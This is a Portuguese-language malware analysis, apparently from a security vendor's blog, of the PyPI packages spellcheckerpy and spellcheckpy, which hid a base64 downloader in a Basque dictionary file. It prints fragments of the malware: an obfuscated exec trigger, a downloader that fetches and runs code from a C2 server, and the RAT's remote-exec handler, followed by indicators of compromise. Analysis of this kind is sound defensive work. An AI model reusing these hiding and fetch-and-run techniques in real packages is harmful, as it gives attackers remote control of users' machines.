Em 20 e 21 de janeiro de 2026, nosso pipeline de detecção de malware sinalizou dois novos pacotes PyPI: spellcheckerpy e spellcheckpy. Ambos alegavam ser o autor legítimo da biblioteca pyspellchecker. Ambos estavam vinculados ao seu repositório real no GitHub.
Eles não eram dele.
Escondido dentro do arquivo de dicionário da língua basca havia um payload codificado em base64 que baixa um RAT Python completo. O atacante publicou três versões "dormentes" primeiro, com o payload presente e o gatilho ausente, e depois ativou com spellcheckpy v1.2.0, adicionando um gatilho de execução ofuscado que é acionado no momento em que você importa SpellChecker.
O payload escondido à vista
Os autores do malware foram criativos. Em vez dos suspeitos habituais (postinstall scripts, ofuscados __init__.py), eles enterraram o payload dentro de resources/eu.json.gz, um arquivo que legitimamente contém frequências de palavras em basco no pacote real pyspellchecker package.
Aqui está a função de extração em utils.py:
def test_file(filepath: PathOrStr, encoding: str, index: str):
filepath = f"{os.path.join(os.path.dirname(__file__), 'resources')}/{filepath}.json.gz"
with gzip.open(filepath, "rt", encoding=encoding) as f:
data = json.loads(f.read())
return data[index]Parece inocente. Mas quando chamada com test_file("eu", "utf-8", "spellchecker"), ela não recupera frequências de palavras. Ela recupera um downloader codificado em base64 escondido entre as entradas do dicionário sob uma chave chamada spellchecker.
Dormente, depois mortal
Nas três primeiras versões, o payload é extraído e decodificado... mas nunca executado:
test_index = test_file("eu", "utf-8", "spellchecker")
test_index = base64.b64decode(test_index).decode("utf-8")
# É isso. Sem exec(). O payload fica lá parado.Uma arma carregada com a trava de segurança ativada.
Então veio spellcheckpy v1.2.0. O atacante moveu o gatilho para WordFrequency.__init__ e adicionou ofuscação:
if eval(compile(base64.b64decode(test_file("eu", "utf-8", "spellchecker")).decode("utf-8"),
"<string>",
bytes.fromhex("65786563").decode("utf-8"))):
self._evaluate = TrueVocê percebe? Isso bytes.fromhex("65786563") decodifica para "exec".
Em vez de escrever exec() diretamente, o que seria sinalizado por scanners estáticos, eles reconstroem a string a partir de hexadecimal em tempo de execução. Importe SpellChecker, instancie-o, e o RAT é executado.
O RAT: Controle remoto total
O payload de estágio 1 é um downloader. Ele busca o payload real de https://updatenet[.]work/settings/history.php e o inicia em um processo separado:
p = subprocess.Popen(
["python3", "-"],
stdin=subprocess.PIPE,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
start_new_session=True
)
p.stdin.write(downloaded_payload)
p.stdin.close()
Isso start_new_session=True é fundamental: O RAT sobrevive mesmo que seu script seja encerrado. Nenhum arquivo é gravado em disco. Silencioso. Desanexado.
O RAT de estágio 2 é um trojan de acesso remoto completo com algumas características interessantes:
Impressão digital do sistema na inicialização:
szObjectID = ''.join(random.choice(string.ascii_letters) for x in range(12))
szPCode = "Operating System : " + platform.platform()
szComputerName = "Computer Name : " + socket.gethostname()Criptografia XOR de dupla camada para comunicações C2: O RAT usa uma chave XOR de 16 bytes ([3, 6, 2, 1, 6, 0, 4, 7, 0, 1, 9, 6, 8, 1, 2, 5]) para a camada externa, depois um XOR secundário com a chave 123 para os payloads de comando. Não é criptograficamente forte, mas o suficiente para evadir a detecção baseada em assinatura.
Protocolo binário personalizado: Os comandos retornam como [ID de comando de 4 bytes][comprimento de 4 bytes][payload criptografado com XOR]. O RAT analisa isso, descriptografa e despacha.
Execução arbitrária de código: Quando o ID de comando 1001 chega, o RAT simplesmente... o executa:
if nCMDID == 1001:
exec(szCode)Loop de beacon persistente:
O RAT se conecta ao C2 a cada 5 segundos para https://updatenet[.]work/update1.php, enviando seu ID de vítima (campanha
FD429DEABE) e aguardando comandos. A validação do certificado SSL é desabilitada via
ssl._create_unverified_context().
Infraestrutura C2
O domínio C2 updatenet[.]work resolve para uma infraestrutura com um histórico documentado de hospedagem de atividades maliciosas.
Registro de Domínio:
- Domínio:
updatenet[.]work - Registrado: 28 de outubro de 2025 (aproximadamente 3 meses antes da publicação do malware)
Infraestrutura de Hospedagem:
- Endereço IP:
172.86.73[.]139 - ASN: AS14956 RouterHosting LLC
- Localização: Dallas, Texas, EUA
- Domínio Associado: cloudzy.com
- Rede:
172.86.73.0/24
Por que isso importa: A RouterHosting LLC opera como Cloudzy, um provedor de hospedagem que tem sido extensivamente documentado como um "Provedor de Comando e Controle" (C2P). Em agosto de 2023, a Halcyon publicou um relatório intitulado "Cloudzy com Chance de Ransomware" que descobriu que 40-60% do tráfego da Cloudzy era de natureza maliciosa. O relatório vinculou a infraestrutura da Cloudzy a grupos APT da China, Irã, Coreia do Norte, Rússia e outras nações, bem como a operadores de ransomware e um fornecedor israelense de spyware sancionado.
Conexão com campanhas anteriores
Este não é um incidente isolado. Em novembro de 2025, A HelixGuard documentou um ataque semelhante usando o pacote spellcheckers (mesmo alvo, nome diferente). Essa campanha usou a mesma estrutura de RAT: criptografia XOR, ID de comando 1001, exec(), mas com infraestrutura C2 diferente (dothebest[.]store).
Domínios diferentes, mesmo playbook. Este parece ser exatamente o mesmo ator de ameaça em ação.
Indicadores de Comprometimento
Pacotes: spellcheckerpy (todas as versões), spellcheckpy (todas as versões)
Infraestrutura C2:
updatenet[.]workhttps://updatenet[.]work/settings/history.php(entrega de estágio 2)https://updatenet[.]work/update1.php(endpoint de beacon)172.86.73[.]139(AS14956 RouterHosting LLC / Cloudzy)
Identificadores de campanha:
- ID da Campanha:
FD429DEABE - Chave XOR:
03 06 02 01 06 00 04 07 00 01 09 06 08 01 02 05 - XOR Secundário:
0x7B(123)
Localização do payload:
resources/eu.json.gz, chave spellchecker
Proteja seu software agora




